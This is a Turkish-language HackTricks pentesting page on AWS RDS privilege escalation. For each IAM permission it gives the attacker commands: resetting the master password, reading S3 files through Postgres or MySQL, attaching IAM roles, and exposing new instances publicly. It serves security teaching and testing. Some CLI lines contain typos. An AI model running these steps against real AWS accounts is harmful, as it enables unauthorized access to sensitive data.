AWS - RDS Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

RDS - İlişkisel Veritabanı Servisi

RDS hakkında daha fazla bilgi için:

https://github.com/carlospolop/hacktricks-cloud/blob/tr/pentesting-cloud/aws-security/aws-hizmetleri/aws-veritabanlari/aws-iliskisel-veritabani-rds-enum.md

rds:ModifyDBInstance

Bu izinle bir saldırgan, ana kullanıcının şifresini değiştirebilir ve veritabanına giriş yapabilir:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Veritabanına bağlantı kurabilmeniz gerekecek (genellikle yalnızca iç ağlardan erişilebilirler).

Potansiyel Etki: Veritabanları içinde hassas bilgiler bulunabilir.

rds-db:connect

Belgelere göre, bu izne sahip bir kullanıcı DB örneğine bağlanabilir.

RDS Rolü IAM izinlerini Kötüye Kullanma

Postgresql (Aurora)

SELECT datname FROM pg_database; komutunu çalıştırarak rdsadmin adında bir veritabanı bulursanız, içinde bir AWS postgresql veritabanı olduğunu bilirsiniz.

İlk olarak, bu veritabanının başka bir AWS hizmetine erişmek için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunun için yüklü uzantılara bakabilirsiniz:

SELECT * FROM pg_extension;

Eğer aws_s3 gibi bir şey bulursanız, bu veritabanının S3 üzerinde bir tür erişimi olduğunu varsayabilirsiniz (aws_ml ve aws_lambda gibi diğer uzantılar da vardır).

Ayrıca, aws rds describe-db-clusters komutunu çalıştırma izniniz varsa, kümenin bağlı bir IAM Rolü olup olmadığını AssociatedRoles alanında görebilirsiniz. Eğer varsa, veritabanının diğer AWS hizmetlerine erişim için hazırlandığını varsayabilirsiniz. Rolün adı (veya rolün izinleri elde edilebilirse) temel alarak, veritabanının ne tür ek erişime sahip olabileceğini tahmin edebilirsiniz.

Şimdi, bir kovada bir dosyayı okumak için tam yolunu bilmelisiniz. Aşağıdaki komutla okuyabilirsiniz:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Eğer ham AWS kimlik bilgilerine sahipseniz, bunları kullanarak aşağıdaki komutu kullanarak S3 verilerine erişebilirsiniz:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql, S3' e erişebilmek için herhangi bir parametre grubu değişkenini değiştirmeye ihtiyaç duymaz.

Mysql (Aurora)

Bir mysql içinde, SELECT User, Host FROM mysql.user; sorgusunu çalıştırırsanız ve rdsadmin adında bir kullanıcı varsa, bir AWS RDS mysql db içinde olduğunuzu varsayabilirsiniz.

Mysql içinde show variables; komutunu çalıştırın ve aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role gibi değişkenlerin değerleri varsa, veritabanının S3 verilerine erişmek için hazırlandığını varsayabilirsiniz.

Ayrıca, aws rds describe-db-clusters komutunu çalıştırma izniniz varsa, kümenin herhangi bir ilişkili rolü olup olmadığını kontrol edebilirsiniz, bu genellikle AWS hizmetlerine erişim anlamına gelir).

Şimdi, bir kovada bir dosya okumak için tam yolunu bilmeniz gerekmektedir. Aşağıdaki komutla okuyabilirsiniz:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

rds:AddRoleToDBCluster ve iam:PassRole izinlerine sahip bir saldırgan, mevcut bir RDS örneğine belirtilen bir rol ekleyebilir. Bu, saldırganın hassas verilere erişmesine veya örnekteki verileri değiştirmesine olanak tanıyabilir.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potansiyel Etki: RDS örneğindeki hassas verilere erişim veya yetkisiz veri değişiklikleri. Unutmayın ki bazı veritabanları ek yapılandırmalar gerektirir, örneğin Mysql, parametre gruplarında rol ARN'sini belirtmek gerekmektedir.

rds:CreateDBInstance

Sadece bu izinle bir saldırgan, zaten var olan ve bir IAM rolüne sahip olan bir küme içinde yeni bir örnek oluşturabilir. Ana kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açabilir:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Test

rds:CreateDBInstance ve iam:PassRole izinlerine sahip bir saldırgan, belirtilen bir rolle ilişkilendirilmiş yeni bir RDS örneği oluşturabilir. Saldırgan daha sonra potansiyel olarak örnekteki hassas verilere erişebilir veya verileri değiştirebilir.

Rol/önek ilişkilendirme için bazı gereksinimler (buradan):

  • Profil hesabınızda mevcut olmalıdır.

  • Profilin, Amazon EC2'nin varsayılan olarak yetkilendirilmiş olduğu bir IAM rolü olmalıdır.

  • Örnek profil adı ve ilişkili IAM rol adı AWSRDSCustom önekiyle başlamalıdır.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potansiyel Etki: RDS örneğindeki hassas verilere erişim veya yetkisiz veri değişiklikleri.

rds:AddRoleToDBInstance, iam:PassRole

rds:AddRoleToDBInstance ve iam:PassRole izinlerine sahip bir saldırgan, belirtilen bir rolü mevcut bir RDS örneğine ekleyebilir. Bu, saldırganın örnekteki hassas verilere erişmesine veya verileri değiştirmesine olanak tanıyabilir.

Bu işlem, DB örneğinin bir küme dışında olması gerekmektedir.

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potansiyel Etki: RDS örneğindeki hassas verilere erişim veya yetkisiz veri değişiklikleri.

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated